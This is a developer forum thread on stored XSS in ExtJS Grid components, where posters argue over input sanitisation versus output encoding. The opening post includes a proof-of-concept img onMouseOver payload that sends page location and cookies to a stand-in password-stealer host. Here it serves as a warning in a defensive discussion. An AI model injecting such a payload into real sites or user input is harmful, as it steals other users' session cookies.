[Security] XSS attacks for Extjs Applications - critical warning

[outrage]

Here a proof of concept.
-> there is a user comment form on a website. which comments can be posted:
-> data is assumed to be just raw text, and is stored in the database 'As is'.
-> Back end application uses ExtJs to render list of new comments using JSON to just send the data (escaped correctly for JSON) to the Grid.

Grid renders the data WITHOUT escaping it. - This should not be the default behaviour.
eg. posted data contains:
<img src="about:blank" width=10 height=10
onMouseOver="this.src=http://myfavourate.password.stealer/site=document.location
+passwords=document.cookies">

The only problem here is the part I have underlined.
Under NO circumstances should data be saved to the DB 'As is'. You can't make assumptions that the data is plain text. That's just foolish.

If you don't have server-side routines to ensure the integrity of your data, no matter what precautions you include on the client-side, they can be easily over-ridden.

[mystix]

I think this is a common-enough requirement, that I'd like to see it simplified by adding a simple htmlEncode (or maybe autoEncode) boolean to the ColumnModel, so the result would look like:

{header:'Venue Name',dataIndex:'venue_name',htmlEncode:true}

if you pass a string to the renderer config, it'll look in Ext.util.Format for a matching function

{header:'Venue Name',dataIndex:'venue_name',renderer:'htmlEncode'}

it's 6 bytes longer though, but achieves the same thing without the need to implement a new config option.

[Lobos]

This discussion isn't even about XSS attacks. If a user on of your web app wants to exec JS, there is nothing you can do to stop them. They can open a FireBug console and exec any JS they want, they don't need a Grid component to be there in able to do it. XSS is when 1 user can input JS that can be executed on another users page. The proper way to prevent that (IMO) is to clean it up before it is stored in the DB, not every time it is displayed.

Thats right! All data coming into your control layer via query string should be cleansed to protect from XSS and SQL injection. There are a few classes around that help you do this so you should end up with some kind of re-usable function like:

$cleanVar = myFilter($_GET['dirtyVar']); 

Protecting against sql injection is never easy, but i have found that the best technique is to user prepared statements (php5 with the mysqli class), this to me seems a fool proof way to protecting against injection attacks.

Like Jack says, there is NO responsibility whatsoever in regards to security on the view layer (extJS) as this area is totally open to manipulation via the public. Server side is where you secure things. I use the control layer for this, basically working it like a security layer that organises the access and output of/from the model layer.. actually in my system extJS is not really the view layer, it is more the presentation layer - the control layer routes calls to the required view which then organizes the model and outputs the presentation which can be extjs / html / xml

So imo Extjs is probably more apt to be called the presentation layer as opposed to view.. idk

-Lobos

-Lobos

[caustic]

The only problem here is the part I have underlined.
Under NO circumstances should data be saved to the DB 'As is'. You can't make assumptions that the data is plain text. That's just foolish.

If you don't have server-side routines to ensure the integrity of your data, no matter what precautions you include on the client-side, they can be easily over-ridden.

Omg, this is completely wrong. It irritates me how people don't understand such simple, trivial things. You should always save raw, unescaped data, as entered by a user to the database. It is only when displaying this data on a web page, you should always properly escape it before rendering it in the html code.

The reason is simple.

You are looking at the problem from a very narrow perspective, as if the only way to display data is in a web browser. But if you need to render a PDF report, you don't need any HTML escaping, there is no such thing as XSS in PDF. If you need to send a plain text mail mesasge with user entered data, you don't need any escaping as well. When you need to make a CSV file to open it in Excel, again, you don't have to html encode it, Excel is not vulnerable to XSS. If you write a desktop application which uses the same database as your web application, what data users would see in this desktop app? If you provide a SOAP or REST or XML-RPC interface to your appliaction, why serve escaped data if you don't know how it will be used? If you write a web application for HTML code snippet sharing with plain text download option, would you serve &lt;script&gt; instead of <script> in plain text files? (let's see how this forum will handle angle brackets in my message) Following your approach, what if your html encoding filter has a bug and does not prevent XSS. Then how will you ensure that all the data already stored in the database is safe, will you re-encode it once again? Will you reencode every time the algorithm in your html filter has changed?

So the only good way to avoid XSS is to encode all the data in you presentation layer, html or extjs or whatever. The most sophisticated web frameworks do this automatically, so you don't wory what user input you put on the html user interface, everything will be encoded by default. But ExtJS is an exception from the rule...

[jay@moduscreate.com]

Omg, this is completely wrong. It irritates me how people don't understand such simple, trivial things. You should always save raw, unescaped data, as entered by a user to the database. It is only when displaying this data on a web page, you should always properly escape it before rendering it in the html code.

Doing so leaves you open to SQL Injection attacks. So, stop being so irritated - because you're not completely correct either!

[caustic]

Doing so leaves you open to SQL Injection attacks.

But this is completely different problem! You can avoid SQL injections by, for example (I really mean _example_), not using a relational database at all. That is, you can store all your data in files. However, this way your application still can be vulnerable to XSS attacks, which is very likely if you use ExtJS.

So, stop being so irritated

Sorry, didn't meant to offend anybody.

because you're not completely correct either!

You didn't convince me.

Obviously, any web application must validate its data on the server. We all know these simple validation rules, such as required fields, email address fields and so on. But in no case an application should prohibit me to use <angle braces> in my input. It should not try to strip or sanitize or somehow cleanup my data. It just has to show me my data exactly in the same form as I entered it, whatever rendering method is user, be it html, plain text, pdf or whatever else.

As a developer, I don't want to bother encoding user data by hand when rendering it in the browser. I just want a framework to do this for me. Unfortunately ExtJS doesn't. Yes, there may be situations when I want to put a valid markup in cells of a grid, but these situations are minority.

[jay@moduscreate.com]

But this is completely different problem! You can avoid SQL injections by, for example (I really mean _example_), not using a relational database at all. That is, you can store all your data in files. However, this way your application still can be vulnerable to XSS attacks, which is very likely if you use ExtJS.

That's a moot point. Storing data in files brings severe limitations (performance, scalability, etc) to an application. We could say that we're going to disable javascript across the world, but that is retarded. XSS Attacks are not limited to any single framework.

You didn't convince me.

Obviously, any web application must validate its data on the server. We all know these simple validation rules, such as required fields, email address fields and so on. But in no case an application should prohibit me to use <angle braces> in my input. It should not try to strip or sanitize or somehow cleanup my data. It just has to show me my data exactly in the same form as I entered it, whatever rendering method is user, be it html, plain text, pdf or whatever else.

That goes against the very basics of web application development - storing data as/is? Again, it leaves you open for a lot of things - possibly even direct code injection (as with php/perl injection attacks);

As a developer, I don't want to bother encoding user data by hand when rendering it in the browser. I just want a framework to do this for me. Unfortunately ExtJS doesn't. Yes, there may be situations when I want to put a valid markup in cells of a grid, but these situations are minority.

You don't have to do that by hand.

In the php world, i htmlencode/decode data to and from the client. No magic required. It's really *not* hard to do. No framework should be trusted with security aspects. Security is only as strong as your application's weakest link!

[jay@moduscreate.com]

Just an FYI, one of the first rules of web application development is NEVER trust what the client is sending you.

[jay@moduscreate.com]

One more thing, check this book out:
http://www.amazon.com/gp/reader/0071...tu#reader-link

[dj]

I think that you are talking at cross purposes...

Let's combine and agree upon:

• The server needs to validate all data from the user. It can be perfectly valid to have < or > in some data.
• The model (stored in a RTDB, files, whatever) should not store the data encoded in a special format (e.g. HTML encoding) when it is foreseeable, that the data could be used in other formats (e.g. PDF) as well (using other encodings; e.g. a binary one in PDF).
• If you use a RTDB to store your model then you - of course - have to do proper escaping of the data to be safe against SQL Injection.
• The view needs to encode the data prior to presenting it to the user. That can be done server-side or client-side; it just has to be done.

It is arguable whether Ext should - as a configurable default - HTML-encode everything before rendering it. In my opinion it is the obligation of the developer to configure Ext the right way (it is very easy to do so and I often explicitly want to allow HTML-markup in a grid/dataview/whatever)